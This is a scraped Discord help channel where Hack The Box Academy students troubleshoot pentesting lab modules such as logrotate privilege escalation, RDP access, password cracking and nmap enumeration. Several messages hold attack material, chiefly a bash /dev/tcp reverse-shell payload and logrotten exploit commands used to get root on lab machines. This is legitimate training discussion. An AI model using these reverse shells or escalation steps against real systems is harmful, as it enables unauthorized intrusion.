#modules

1 messages ยท Page 235 of 1

wanton idol
#

i mean we dont support bash bunny lol

fathom pendant
#

Pwnbox, try it

fathom pendant
valid viper
#

I was just being funny ๐Ÿ˜›

drowsy phoenix
#

i using kali and parrot

fathom pendant
#

This is one of the times where for some reason the pwnbox just works

drowsy phoenix
#

ok

fathom pendant
#

Turn off the vpn when you use the pwnbox to avoid issues

drowsy phoenix
#

ok

gritty breach
#

Can anybody help with? Assess the web application and use various techniques to escalate to a privileged user and find a flag in the admin panel. Submit the contents of the flag as your answer.

brazen saffron
halcyon raptor
#

hey guys am I trying to sign into rdp session with the pexychain and promted to enter the password what wasn't appered in he session

brazen saffron
#

Well I edited the script from the course because it's... strange and too "big" for nothing :/.

cloud urchin
#

linux is going to ignore the $ otherwise, i think

brazen saffron
#

I tried with and without but I did not got an output.

cloud urchin
#

ahh ok

brazen saffron
#

So...

cloud urchin
#

try curl?

brazen saffron
#

I just recreated a script with only one loop.

#

And just sending request reponse.

#

With which UID.

cloud urchin
#

the script they give with curl worked for me

brazen saffron
#

Maybe I did a mistake idk xd.

cloud urchin
#

i think it was a literal copy/paste from the module

brazen saffron
#

Yeah maybe :/.

zealous sandal
#

Could someone explain me in detail everything that I get with the monthly subscription of htb academy of student?
And I want to know if it's worth it and what level of content is there, since I have been using htb machines for a long time and I want to know if the level of this subscription would be worth it for me.

cloud urchin
#

it pretty much explains what you get on the page. i believe it's up to tier2 access for the modules. as far as the content is concerned, it's the best out there to learn

tranquil axle
halcyon raptor
cloud urchin
#

logon failure, bad user/pass

cloud urchin
fathom pendant
cloud urchin
#

that too lol

fathom pendant
#

So xfreerdp took the second one as the intended user

halcyon raptor
#

Thank you so much guys my bad lol @cloud urchin @next bronze @fathom pendant

valid viper
#

We all make mistakes pepecoffee

halcyon raptor
#

I didn't even hoped for answer really, seems like it's a really cool community

zealous sandal
valid viper
brazen saffron
mint trout
#

just add ##.warning.global.alert-notification-banner to ublock origin

barren dew
#

Thanks!

#

@mint trout that works beautifully, thank you

mint trout
brazen saffron
rustic sage
#

Remote/reverse port forwarding. Via pivoting chapter. Directions show a power shell command being done to download the payload, but I see no part of the direction where the engagement initially logs into the internal windows host. Itโ€™s confusing because I attempted to follow along with the lab, but I donโ€™t have creds. I am assuming those creds are the prior chapter. Dynamic port forwarding that was previous. I attempted to proxy chains nmap v pn that same ip, but itโ€™s not reflecting a windows RDP port.

#

Proxy chain nmap v pN -sT 172.16.5.129 doesnโ€™t reflect an open RDP port to complete remote reverse port forwarding. Also the questions donโ€™t ask to retrieve a flag from this. Is the student meant to copy the example for this particular lab? Itโ€™s a bit confusing with whatโ€™s being asked. The two questions were very simple which leads me to think this is just to be shown, not done.

#

172.16.5.1 and 172.15.5.200 are open but no RDP ports

mint trout
#

i missed the hour on logrotate exploitation, not sure how to force another since i cant access /var/lib/logrotate.status or force it; do i have to wait or am i missing something?

mint trout
#

well i ran logrotten at 4:55 so no just 5 minutes

#

but now i might have to lol

wanton idol
#

lol you have to be super quick

#

i hated doing that part pain in the ass

mint trout
#

so what i have to leave this running or am i missing something ๐Ÿ˜…

wanton idol
#

u can trigger the logrotten btw

mint trout
#

aw man ok

wanton idol
#

u do know which file it is?

mint trout
#

i thought it would be with space but it didnt work

#

yeah

wanton idol
#

so if u write to the file it will trigger the logrotten

mint trout
#

idk doesnt seem to be :\

wanton idol
#

its been a while since i done that module

#

do u have two ssh open?

mint trout
#

its maxsize 1k and mines 12kb, i think it still waits for the hour doesnt it

#

logrotten is running in bg rn but i did before yea

wanton idol
#

what are you doing?

mint trout
#

./logrotten -p payload mon.log ?

wanton idol
#

im pretty sure its not the mon.log

mint trout
#

its only file i can write to

wanton idol
#

u sure?

#

im looking at my notes and its not mon.log unless they changed it

mint trout
#

i see ~/backups/access.log but theres no logrotate pointing to it

#

pretty sure its the only one

#
-rw-rw-r-- 1 htb-student htb-student   9053 Apr 12 21:13 /home/htb-student/mon/mon.log
-rwxr-xr-x 1 root        root           141 Mar  7  2019 /usr/lib/rsyslog/rsyslog-rotate
-rwxr-xr-x 1 root        root           141 Mar  7  2019 /usr/lib/rsyslog/rsyslog-rotate
-rw-r--r-- 1 root        root             1 Jun 14  2023 /var/log/alternatives.log
-rw-r----- 1 root        adm           4905 Apr 12 20:49 /var/log/apport.log
-rw-r--r-- 1 root        root             1 Jun 14  2023 /var/log/apt/history.log
-rw-r----- 1 root        adm              1 Jun 14  2023 /var/log/apt/term.log
-rw-r----- 1 syslog      adm          52663 Apr 12 21:16 /var/log/auth.log
-rw-r--r-- 1 root        root             1 Jun 14  2023 /var/log/dpkg.log
-rw-r----- 1 syslog      adm         261532 Apr 12 20:49 /var/log/kern.log
-rw-r----- 1 syslog      adm         723595 Apr 12 21:16 /var/log/syslog
wanton idol
#

now how do u check if it is /backups/access.log ?

mint trout
#

grep -ri /backups /etc/logrotate.d/ ?

wanton idol
#

have u tried writing to it and see if another access.log.2 appears?

mint trout
#

wtf. .

wanton idol
#

or access.log.1 if it wasnt already there

mint trout
#

but why though?

#

i saw it first thing and thought it was some gotcha because theres no logrotate.d for it ...

wanton idol
#

ding ding ding u found the correct one

mint trout
#

but why is it correct lol

#

oh cos its in the logrotate.status fml

wanton idol
#

dont worry i was so lost as well

mint trout
#

so annoying its the first thing i saw and went on this trail because i thought im so smart... u got me htb devs

wanton idol
#

lol at first i didnt even see it

#

until i kept looking around and voila

mint trout
#

oh

#

i guess i did try this earlier and logrotten just has no output other than "waiting for rotating"

#

ok got it.. it's because I specified a relative path (just access.log) it has to be ./access.log for the tool for some reason

wanton idol
mint trout
#

i know, what im saying is the tool requires ./access.log or /path/to/log, just log doesnt work its silently failing

buoyant void
#

Anyone having issues with RDP? I'm currently doing the Windows Privilege Escalation the section about Legacy OS and I have to RDP into the system but I am getting this error with xfreerdp and Remmina "ERRCONNECT_TLS_CONNECT_FAILED", I've had no issues with RDP before, I've tried resetting the machine a few times to no avail and It's really bugging me

Edit: Tried using rdesktop with no issues. I'm guessing since I'm trying to RDP into a legacy system something about xfreerdp and Remmina are making that difficult. So If anyone else has issues like that in this module try rdesktop

signal laurel
#

MODULE: Into to Whitebox Pentesting
SECTION: Skills Assessment

I Found the injection point, but I am having issues crafting a working payload to get code execution. Can I DM someone to see what my code is missing

soft cedar
#

You need to add /sec-rdp

buoyant void
onyx rapids
signal laurel
onyx rapids
livid escarp
#

MODULE: Getting started
SECTION: Knowledge check

I have a reverse shell in the user, and on my attacker VM, I ran a python http server in the directory where LinEnum.sh is located.
I then tried running wget to the ip and port with the file, but I always get this error

> wget http://10.10.34.256:8121/LinEnum.sh

Connection to 10.10.34.256:8121... connected
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
LinEnum.sh: Permission denied
Cannot write to 'LinEnum.sh' (Permission denied.)
livid escarp
fathom pendant
#

Do you have permission to write to the directory you're trying to download it to?

livid escarp
#

I don't think so, it says drwxr-xr-x 3

#

Where can I find a directory I can write in?

fathom pendant
#

/tmp is usually writeable

livid escarp
hallow remnant
# signal laurel MODULE: Into to Whitebox Pentesting SECTION: Skills Assessment I Found the inje...

It sounds like you found yourself a collaborator already, so I won't detract from the learning process. This skills assessment gives a lot of open ground to explore and feel-out how to arrive at a solution. Rather than be prescriptive about what worked (because that detracts from the core of the problem set), I'll highlight what didn't work for me (so as to save you time). The following assumes you...

  • (A) have correctly found an injection point
  • (B) Have a local server to test against
  • (C) Are correctly navigating through the application's authentication mechanism(s).

All that aside:

  • First, I tried to have the server re-write its own code, only to realize I lacked the ability to gracefully restart the server (I could get the server to crash/restart, but that appeared to just erase any edits I made).
  • My biggest problem was figuring out where to write the output of any commands I'd push; testing locally, it was trivial to write the output to console.log (but you don't have access to that against the remote server). The vast majority of my troubleshooting efforts was spent working on this problem.
  • I thought for sure that I was supposed to use the dead code present in order to read the flag (i.e. somehow leveraging the cat() function to read the flag). While I was able to get such a way working locally, it never succeeded for me against the remote target.
  • I also tried having the server make an HTTP request back to my attacker machine, appending the file contents as a b64-encoded URL (e.g. http://attacker/flagcontentsgetappendedhere). This didn't workout either; I didn't investigate this in-depth, but I think this is related to the way the docker instance is configured in what it is(n't) permitted to do.
  • Ultimately, what worked for me didn't involve any of the above.
#

I hesitate to be prescriptive that what you're doing is right/wrong, because the problem explicitly says there are multiple ways about arriving at a solution.

fickle dust
#

Hi

#

Who can hack an Instagram account?

fathom pendant
signal laurel
pine apex
#

For the life of me I don't know what I'm doing wrong. The second half of the question is confusing me, I'm not sure what they mean by "search for the flag through a JSON POST request to '/search.php'". Any explanation would help so I can figure it out myself

#

I've tried various versions of
'{"search":"london"}'

"{\"search\":\"london\"}"

fathom pendant
#

have you tried '{search:"london"}'?

#

it looks like the key isn't in quotes

#

also why "POST"?

#

shouldn't it be GET?

#

oh wait didn't read the Q

pine apex
fathom pendant
#

I take it you're doing an inspect for when you do the search from the admin login

#

so you can see the request

#

also in your screenshot

{\"search\":"\london\"}
pine apex
#

Yeah sorry that should've been in the original screenshot, here you go.

fathom pendant
#

you didn't escape the internal one

#

if you're meant to do {\"search\":\"london\"}

pine apex
#

oh gosh, def haven't tried that, thanks I'll give it a try now

fathom pendant
#

also not sure if you need to wrap the json in the single quotes

#

but one step at a time

pine apex
#

I see now how a single open ; could ruin your day ๐Ÿ˜…

fathom pendant
#

yeah the misplaced \ was at least the first thing that stuck out to me

#

then from there it's just modifying the request to get the right search query

#

also: why do you have ip:port'/search.php'

#

(i mean if that works it works, just weird to me)

pine apex
#

oh my goodness that actually worked, it didn't give the flag but it actually finished the search

fathom pendant
#

๐Ÿ‘

#

i mean you can likely make an educated guess where to search for the flag lol

pine apex
#

I will do my best, thank you so much Marcie!

fathom pendant
#

step 1 is just making it work kek

patent niche
#

INTRODUCTION TO DIGITAL FORENSICS
Quick one

For the Velocirapitor section

  • 2 Using VAD analysis, pinpoint the suspicious process and enter its name as your answer. Answer format: _.exe
    For this we add new hunt and selec atefact [Windows.System.VAD] ?
verbal kindle
#

Hey
I am stuck with a problem on buffer overflow. Can someone help?

pine apex
fathom pendant
pine apex
#

istg I'm going to ||reeeeeeeeeeeeeeeee||

#

I'm laughing and crying rn ๐Ÿ˜‚

#

is this what it's always going to be like

#

Thank you so much ๐Ÿ˜‚ oh gosh hahaha

mint trout
#

anyone have issues getting a shell with logrotten in the privesc module?

buoyant void
mint trout
#

yeah

#

logrotten is (stating it's) executing

#

payload has tested with my user, works fine. but not with LR

#
htb-student@ubuntu:~/backups$ echo "asdf" >> access.log && ./logrotten -o -p ./payload ./access.log
Waiting for rotating ./access.log...
Renamed . with .2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
htb-student@ubuntu:~/backups$ echo "asdf" >> access.log && ./logrotten -s 5 -p ./payload ./access.log
Waiting for rotating ./access.log...
Renamed . with .2 and created symlink to /etc/bash_completion.d
Waiting 5 seconds before writing payload...
#

same output if i use 2 shells and have it running the whole time whilst i use echo its not a race thing

buoyant void
#

Looks like you're on the right path I'm not sure why it's not triggering the payload, I did this module a few weeks ago and looking at my notes seem to align with what you're doing. Maybe there are some logrotate experts in here that can identify what the issue is

#

My next guess would be to double check the payload again but you said the payload seems to be working

valid viper
#

I've tried setting up odat.py to interact with the Oracle DB in the Footprinting module twice now, and I'm it's not on the pwnbox by default...

#

Is there another tool I can use, or some other option?

mint trout
sleek moss
#

do you guys ever use vuln scanners for cpts or just in general for ctfs?

mint trout
#

why crosspost @sleek moss

sleek moss
#

because i want to?

keen shuttle
#

im unable to spawn the target exercise for file transfer module

#

it been in "spawing" for about 10 mins now

soft cedar
#

Change your vpn server.

keen shuttle
sly moon
mint trout
#

yes.

mint trout
#

its making the symlink but not putting anything in /etc/bash_completion.d

#

yeah just tried, same output and same thing

sly moon
#

Hmmm, maybe try single quotes instead or overwriting the access log completely, Just throwing stuff out there. Odd for sure

#

seems like you are on the right track

mint trout
#

im appending not overwriting :////

#

this box bully me

sly moon
#

I feel you an echo 'asdf' > should work . I'm guessing you prob already reverted

mint trout
#

yeah i took a few hour break and reset it and seems like same thing lol i must be doing something wrong but everyone tells me im doing what they did

#

and i followed the wiki its a walkthrough section so like... idk how you can even fk it up

#

feel like i just got a payload to run with a tmux shared socket but i couldnt access it so it was worthless anyway, and i couldnt get it again

sly moon
#

yeah it's been a journey for sure , lots of headaches along the way too. lol

steel gorge
#

I'm also stuck on this. I followed the directions, though I'm not sure why the certificate is listed twice in SAMLRaider.
I've got one certificate with a private key, one without. I'm not entirely sure why we need two of them? Shouldn't there just be one certificate with a private key:true?
Yet I also keep getting redirected to root after re-signing the assertion. The correct certificate (with privatekey:true) is selected.
I checked the MD5 hashes match and they do.

โ”Œโ”€[/tmp/certs]
โ””โ”€โ”€โ•ผ [โ˜…]$ openssl x509 -noout -modulus -in pub.crt
Modulus=D4F3076268598F7D3C9162E16554F8BCEBA5AB1FFD89B9B907CE9F3D6C1428A4368B5D8C62DCF4EEDCEE90FCA68AC4C38506AAC89F0AA9BFFA26386678C9C439D4EF48F9873BC9B5655BDE254E8DA0A467FE63FF043EC55B9D9685BAD45CB49E1D548A7D690D93A4B8864F4C57D4ECC13BF24482AF46CC345FF81F9EA92BA097
โ”Œโ”€[/tmp/certs]
โ””โ”€โ”€โ•ผ [โ˜…]$ openssl rsa -noout -modulus -in private.pem 
Modulus=D4F3076268598F7D3C9162E16554F8BCEBA5AB1FFD89B9B907CE9F3D6C1428A4368B5D8C62DCF4EEDCEE90FCA68AC4C38506AAC89F0AA9BFFA26386678C9C439D4EF48F9873BC9B5655BDE254E8DA0A467FE63FF043EC55B9D9685BAD45CB49E1D548A7D690D93A4B8864F4C57D4ECC13BF24482AF46CC345FF81F9EA92BA097

edit: solved (for me anyway) I was logging in as admin and I don't think that works. try jasmine instead.

rustic sage
wanton idol
#

@mint trout u still unable to get a rev shell?

mint trout
#

yes, just got a session open in metasploit with a bind shell but it closed instantly when i tried to connect

wanton idol
#

yeah that happend to me as well, i had like one min after i catch the shell via nc and it closes

mint trout
#

cant get a nc shell at all with the gtfobin format

wanton idol
#

gtfobin format?

mint trout
#

and my box just die with 68 mins left ? wtf

wanton idol
#

refresh the page

mint trout
#

ya i have to spawn again.. so the box died..

#

whats the point in the timer ๐Ÿคฃ

wanton idol
#

sometimes it glicthes out

mint trout
#

maybe the rest help

wanton idol
#

but this is the payload i used for the payload

#

echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload

mint trout
#

yes, tried this one, same from the htb page right

#

lets try with the reset box maybe i have better luck 1sec

#

nah same thing lol..

wanton idol
#

yeee and on first ssh box run the exploit and on the sec ssh box trigger the logitrotate and then run the exploit again and trigger it until u catch a shell on nc then on nc u should have like a min so u can make a rev shell and then execute it on it then u would have a shell that wont die

#

obv u will need to set up two diff nc listeners

#

u just got to be quick as soon as u get the first shell being root run another rev shell to catch so it wont die

lofty phoenix
#

has anyone done the HTB AD skills asssessment Part 2? im supposed to escalate to admin and was trying to run the printspoofer from mssqlclient but im trying to figure out how to do exactly do that from mssqlclient

mint trout
#

im spamming it like you said, not 1 connection

wanton idol
#

strange yeah i hated that as well, maybe keep on trying

mint trout
#

alright ill keep trying thx

wanton idol
#

cause thats the only solution that worked for me

#

i literally had the same problem

mint trout
#

i searched the discord seems lke im not the only one but all the people helping say "dm" so i dont know what they did

wanton idol
#

maybe try to dm one of them and hope they respond

#

maybe try a diff port??

mint trout
#

ye tried that xd and those people last activity was jan 26th

wanton idol
#

๐Ÿ’€

mint trout
#

@errant moss @solar cradle where are you guys what did you guys see ๐Ÿ˜ฎ

lucid grotto
#

Why is HTB xfreerdp donโ€™t connect anyone have ideas please

lucid grotto
#

Errconnect_connect_Cancelled [0x0002000b]

#

I tried screenshot there canโ€™t

wanton idol
#

u are doing xfreerdp /v:<ip> /u:<user> /p:<'password'>

lucid grotto
#

Yes

wanton idol
#

maybe restart the machine

steel gorge
#

Did you manage to sort this @faint trellis ? I noticed your question in the forums as well. https://forum.hackthebox.com/t/weak-public-private-keys/273935
Opening another session in a private window also didn't help.
edit: I've sorted this now, by logging in as jasmine rather than admin

mint trout
#

i finally got it spamming it the entire time... catting the flag to my folder was easier than a whole shell

wanton idol
#

see spamming worked LOL

mint trout
#

man i just feel so dumb im immediately stumped at the very next one.. already tried pwnkit and baron samedit and seems like they're patched i dont know what other 2021 kernel exploit they want

wanton idol
#

u good lol i forgot what i did for that one tbh

#

maybe i can look for it

mint trout
#

i just privesc using the nfs method and steal the flag... its literally 'find the one we want you to use and copy paste it and compile' which i can do anyway so ๐Ÿคท

#

oh the hint is the cve, i couldnt find it by looking for the uname

wanton idol
#

lol

mint trout
wanton idol
#

win is a win

mint trout
wanton idol
#

on the box when i get stuck and i see sum that xan clearify more on my notes then i will write it

compact patrolBOT
valid viper
#

I'm doing the sessions challenge #2 under Metasploit and I've obtained a shell...but I can't run whoami or any other command I've found to figure out who I'm logged in as after using the exploit?

#
[-] Unknown command: whoami
#

Nevermind. I just cat'd /etc/passwd and started spamming usernames XD

#

Now I can't check the sudo version XD

#
[-] Unknown command: sudo
soft cedar
#

you need to type shell first.

valid viper
#

Ah...you the man!

crystal ruin
#

nmap is showing SNMP V3, so I thought I needed a username and password to do snmpwalk. But I was able to run it with V2

night crypt
#

is there anybody who has completed the Password Attacks - Hard lab that I could have a quick DM with pls to get some help with initial access? Have been at this for hours want to at least validate that I'm doing the right thing if possible please ๐Ÿ™‚

distant island
#

hello can someone help me i am stuck here

slate zinc
distant island
#

xss discovery

slate zinc
#

u can also use the hind button if that helps

distant island
slate zinc
#

patience it is then

distant island
pliant coyote
#

How to do the last question of Infiltrating Windows, can anyone tell me

#

How to do the last question of Infiltrating Windows, can anyone tell me

acoustic owl
pliant coyote
#

In SHELLS & PAYLOADS

acoustic owl
#

and what exactly did you try? What does not work?

pliant coyote
#

I typed MS17-010 with msf doesn't work, then I uploaded aspx on port 80 doesn't work either

acoustic owl
#

There are several ms17-010 exploits
Try another exploit

undone cypress
#

Hi!
Who knows what kind of replacement for the module:
Introduction to Python3
In the description of one of the modules, it is advised to pass it.
But I couldn't find him.

night crypt
#

I think I've had a false positive for the Password Attacks Lab - Hard which after almost 2hrs of waiting for it to crack is a real bummer :/ anybody able to give me a hand with this initial access please?

acoustic owl
pliant coyote
#

great

acoustic owl
night crypt
acoustic owl
cloud urchin
#

it doesn't take that long at all, less than 30 mins

#

make sure you're using the lists from the module too

night crypt
#

I'm using the mutated password list from the module resources yeh

cloud urchin
#

what service are you attacking

night crypt
#

rdp

acoustic owl
night crypt
#

I tried SMB first, moved to RDP after not hitting anything in the first hour

acoustic owl
#

There are other services

cloud urchin
#

i was able to do it with RDP. if going the RDP route i would recommend using the tool crowbar, as it's faster than the tools mentioned in the module.

night crypt
#

lowercase or uppercase J?

#

I'm going to reset the box and see if that changes anything ๐Ÿ˜…

#

it worked....

#

got the creds in about 7 mins (ty for the tip on Crowbar for RDP as well) - same wordlist and everything

#

idk what was happening before but it is what it is haha thanks!

brittle arch
#

Guys I am still stuck with Password Attacks - Lab Hard

I have managed to get the user d**** password , I am trying to transfer the file but non of the methods are working

smbclient method is giving me an error of connection timeout

I tried over FTP on the attacked machine but files just won't transfer

brittle arch
cloud urchin
#

makes it really simple

brittle arch
sterile nacelle
#

hi

cloud urchin
night crypt
brittle arch
cloud urchin
inland sigil
#

Hey, I am stuck on the last question in HTB Academy DNS Footprinting: " What is the FQDN of the host where the last octet ends with โ€œx.x.x.203โ€?
i found ip with ....203 but the looks incorrect answer!
any idea ?
thanks thanks

cloud urchin
vale badger
#

Can someone provide any hint for the challenge "pdfy"

pseudo kiln
#

tried to install and configure SELinux as suggested by the module and it rekt my VM sadglas , good thing I keep snapshots

brittle arch
night crypt
#

maybe think less like a hacker and more like a user - how would they go about what you're trying to do here? quinThinking

brittle arch
night crypt
#

haha not this way, another way

cloud urchin
#

I would recommend reviewing the Pass the Ticket from Windows section

brittle arch
#

Tyyym to dump those hashes HYPERLUL

marsh echo
#

hello i need help pls for hard skill assessement attack common service when i connect me with this cms sqlcmd -S WIN-HARD -U fiona -P 'pwd' -y 30 -y 30 he doesn't work but when i use just sqlcmd he work !! then when i whant find informations on the system it doesn't work whyyy ? my cmd EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]

marsh echo
#

When connecting or searching for information?

fathom pendant
#

When searching for info

#

Impersonation is useful

buoyant escarp
#

marcie, how is cpts path going, i see u r very active in here, i havent done anything for 2 months or so ๐Ÿ˜„

fathom pendant
#

Same. Been busy with other stuff

buoyant escarp
#

but now im gonna finish off PW Attacks, only the hard lab left

fringe urchin
#

I havent done anything related to pw lab in a weekkek

buoyant escarp
#

yea imo this one is so much stuff to learn in there compared to other modules, so its kinda brain exhausting

fringe urchin
#

I had/have a second interview+ moved countries+ got ill+ didnt bring my pc with me since ill be buying a new one

But i heard it just takes time which i dont have it atmkek

buoyant escarp
#

yes, im learning rn not to rush anything, cuz its my biggest flaw, doing something 24/7 for weeks and then i need few weeks a break, instead i try to do a bit per week constantly

fringe urchin
#

duckthumbsup good luck

marsh echo
# fathom pendant Impersonation is useful

I'd like to but I've tried to recover all the hashes thanks to responder it only gives me Fiona's and how can I spoof if I can't even log in, I've tried brute force simon there's nothing ๐Ÿฅฒ

fathom pendant
#

You start with fiona

#

Impersonation is something that can be done within mssql

marsh echo
#

I want to do the usurpation but it doesn't work :

fathom pendant
#

Well perhaps you're trying as the wrong person

#

Think to the questions and if you've answered one you have the name

marsh echo
#

i retrying

fathom pendant
#

Try restarting the box. But you're close

runic dirge
#

hi, someone knows how to connect to linux machine in kerberos attacks modules? I am trying to connect to the linux machine in "kerberosting from linux" module and it's not working, i should use this " Authenticate to 10.129.205.35 with user "htb-student" and password "HTB_@cademy_stdnt!" but when i am trying to use ssh it's not working i tried to add 10.129.205.35 inlanefreight.local to /etc/hosts but it's not working to, do u have any ideas?

buoyant escarp
#

is ssh mentioned explicitly?

runic dirge
#

no

#

it just this line "Authenticate to 10.129.205.35 with user "htb-student" and password "HTB_@cademy_stdnt!"

next bronze
#

why don't you scan the target to find out what it is?

runic dirge
#

i scaned

next bronze
#

and?

#

it's kerberoasting from linux, so the target is a DC

remote solstice
#

how do i use this website

compact patrolBOT
stiff bone
#

Who can I contact for help with the INTRO TO WHITEBOX PENTESTING SA 1 solution? I'm at the payload implementation stage and I'm having some difficulties that I haven't been able to solve for a long time.

rustic sage
#

Hello colleagues, how am I in the footprinting hard lab module, I have already listed the SNMP service and I have the private key and I have the user to access the host but I can't find the HTB user

fathom pendant
#

Transferring files back and forth cracking passwords to move forward

rustic sage
#

@fathom pendant You mean I'm going for a good ride?

wanton idol
pseudo kiln
#

I'm doing a module and it asks to spawn a target, but there is no such button/option available. I logged out, refreshed, any ideas ?

frozen stone
#

Hi all, can someone please help me with the NoSQLi skill assessment 2?

wanton idol
#

at the bottom there should be a green text saying spawn target i believe

fathom pendant
pseudo kiln
wanton idol
#

lol np

rustic sage
#

I'll continue on my way to find that answer because I feel like I'm close @fathom pendant

buoyant escarp
#

im in PW Attacks Hard lab, i am trying to copy a file from the Windows machine to my linux through xfreerdp, it wont work tho, but from linux > windows it works, thats kinda holding me up rn.

#

the last msg about the clipboard

heavy lily
#

anyone can help with advanced sql incections skills asssement part 2. have a script that alowes me basically to do all techniques to uploading files and run it. but nothing works. i think it could be a permission problem, tryed already to upgrad permissions. nothing works. any hints or confirmation for the expected technique to work?

buoyant escarp
#

@frozen stone dont randomly DM pls

twin lion
#

this mounts ur local drive on the machine

acoustic owl
wary tendon
#

is someone able to assist me with a module chapter in web attack im not sure what im doing wrong i can share my screen

heavy lily
open yacht
#

Hi all
Any hints for the following question on the powerview module?

#

The group looks empty when I user powerview and Get-Net/DomainGroupMember

snow ridge
open yacht
snow ridge
# open yacht Yeap

-GroupName use this instead of Identity and try with full group name too

#

and its a localgroup

#

So thats probably the issue

open yacht
#

Still errors out

snow ridge
#

You have to use different command to enumerate local groups

#

Parameters are fine

#

Ill just say that the command doesnt differ much

open yacht
#

Found it thanks

rustic sage
#

any way to disable this?

#

when you finish a module it becomes impossible to close the share your achievement window because the x is hidden underneath the gold warning bar

rustic sage
#

oof

cedar forum
#

hey guys, can anyone help me toward the answer to a question?

buoyant escarp
#

any good tool for keepass .kdbx file in linux terminal?

cedar forum
#

im on the nmap module and they are asking to enumerate a hostname, im kinda lost on that, should i look for specific services or is it a certain script that allows me to do that?

sinful drift
#

helloo, help please

fathom pendant
fathom pendant
buoyant escarp
#

yeah already got the pw, i mean for reading the entries now

#

instead opening it on the target windows

fathom pendant
#

Also: you know the name of the program

#

It's the same as the windows

upbeat knot
#

can not finish my task because RDP session disconnects all the time

buoyant escarp
#

i used keepass2john to get the pw, then ive read the contents in the windows environment, but i wonder if i can also read it on my linux terminal

fringe urchin
fathom pendant
#

It's a password storage database

upbeat knot
#

trying from my machine and HTB all the same, right now can not even connect "10:27:40:301] [14769:14770] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[10:27:40:301] [14769:14770] [ERROR][com.freerdp.core] - failed to connect to"

sinful drift
buoyant escarp
#

not installed on my kali, ima look out for it

upbeat knot
#

trying to connect with that command "xfreerdp /u:Administrator /p:'HTB_@cad3my_lab_W1n10_r00t!@0' /v:10.129.235.179 /dynamic-resolution"

fathom pendant
#

Or reset the target and try again

upbeat knot
lucid gyro
#

Hi

cedar forum
mint trout
cedar forum
#

not really, i have an IP with some open ports, they're asking me to enumerate the hostname

#

i think i'm not using the correct scripts

#

because it's the ip that pops up, not the hostname

fringe urchin
#

Can you link the module?

fathom pendant
#

If there is one

cedar forum
#

i think they just want me to use the nmap tool, since its the nmap module

fathom pendant
#

Sometimes nmap won't catch everything

mint trout
#

enumerating a hostname to me says gobuster tbh

cedar forum
fathom pendant
#

And subdomains

cedar forum
fathom pendant
#

A host name would be like WS001

mint trout
#

oh i didnt see the full question, "Enumerate the hostname of your target and submit it as the answer.".. if someone just told me to 'enumerate the hostname' i would assume they just mixed up hostname and domain, i know the difference lol

buoyant escarp
#

is there a tool from john to extract .vhd hash?

mint trout
#

it must be on one of the services

fringe urchin
cedar forum
#

u want to see all the ports available right?

#

oh, maybe netbios?

fringe urchin
#

Brb let me boot up my machine and check

mint trout
#

fyi I just got this using nmap alone

fathom pendant
mint trout
#

try using -sC -sV flags

fringe urchin
#

Yea. sC most likely.missing

cedar forum
#

why?

fathom pendant
#

-sC runs basic enumeration scripts

cedar forum
#

yeah, it was missing

mint trout
#
           SCRIPT SCAN:
             -sC: equivalent to --script=default
#

it runs --script=banner iirc

fathom pendant
#

Based on the discovered ports

cedar forum
#

ik, but what does it do?

mint trout
#

@cedar forum try doing your same nmap with -sC and -sV and report back

fathom pendant
cedar forum
#

got the hostname

cedar forum
buoyant escarp
#

which one is for .vhd
im a bit lost xD

cedar forum
#

but i had to enumerate netbios

#

enumerating port 22 or 80 did nothing

mint trout
#

see: nmap --script-help default

mint trout
#

no enumerating required, just -sC / -sV

fathom pendant
mint trout
#

but a win is a win is a win

fathom pendant
tawdry flume
#

Hi guys! Doing the intro to pentesting

I am at this question

mint trout
fathom pendant
tawdry flume
#

I think it is ||PCI||

#

But it does not work ๐Ÿ˜ฆ

It says the acronym..

cedar forum
fathom pendant
cedar forum
fathom pendant
mint trout
tawdry flume
buoyant escarp
fathom pendant
mint trout
#

???

31337/tcp open  ftp         ProFTPD
Service Info: Host: NIX-NMAP-DEFAULT; OS: Linux; CPE: cpe:/o:linux:linux_kernel
tawdry flume
#

thanks a lot, didn't know it needed the -

cedar forum
#

xD

mint trout
#

its proftpd info

fathom pendant
#

Oh wait your comically large circle made me miss things

cedar forum
#

xDDDDDD

mint trout
#

i forgot to turn down the brush size in paint3d lol sorry, blame microsoft for removing mspaint

fathom pendant
#

I missed the separation after 445 to 31337

mint trout
#

idk its underneath 31337 but ๐Ÿคท yeah theres many ways to do this it seems, and now carpetes knows 2 more

cedar forum
#

is it normal that im still confused about what most of these flags do after this section? xD

mint trout
#

yes

cedar forum
#

ik what -Pn and -n do, idk why you want to use them

#

or --disable-arp-ping even

mint trout
#

nmap has a powerful scripting language called NSE, -sC is the same as --script=default which just runs a bunch of scripts, one of which gathers more info

#

-Pn runs the scan even if the target isnt pingable and i think -n stops name resolution or something

cedar forum
#

yes, that ik

#

so, you'd want to use -n when u dont want domain resolution? (for some reason?)

fathom pendant
hexed oyster
#

Alright, team, I need a hint on the Information Gathering - Web Edition - Skills Assessment. I'm attempting to identifying the host name of a target server. The instructions, thus far, have not specifically mentioned host names and I'm not really sure how I would do that? Any advice? What do I need to re-read?

#

My first thought was dig and whois, but that didn't find it.

#

Next was curl -I $TARGET to see if it was leaked out via headers or something, but nothing there.

fringe urchin
#

Pretty sure thats the correct command

hexed oyster
#

Let me... ๐Ÿค” re-try it?

#

maybe I just over-looked it.

fringe urchin
#

Yea retry it. Or send the screenshot to see what you got

#

Its a unique namekek

hexed oyster
#

I tried the `X-Served-By' header, it didn't seem to like that.

fringe urchin
#

Re read the question

fringe urchin
rustic sage
#

the URL is under location

hexed oyster
#

The question it's asking is: "What server name is returned for the host?" Hint: there is a 5 in the FQDN.

fringe urchin
rustic sage
#

oh

hexed oyster
#

@fringe urchin the x-served-by?

fringe urchin
#

Do you have a field that tells you the server: name?

fringe urchin
hexed oyster
#

Hmmmm.... ๐Ÿค”

#

increasing the agression of whatweb and see if that does it.

fringe urchin
#

Its infront of youPepereally

fringe urchin
hexed oyster
#

OK... I'm not sure why I'm missing it.

#

gimme a second.

fringe urchin
#

The question is asking for a server name
So maybe your response got something like
Servername: xxx xxx
Or
Server: xxx xxx
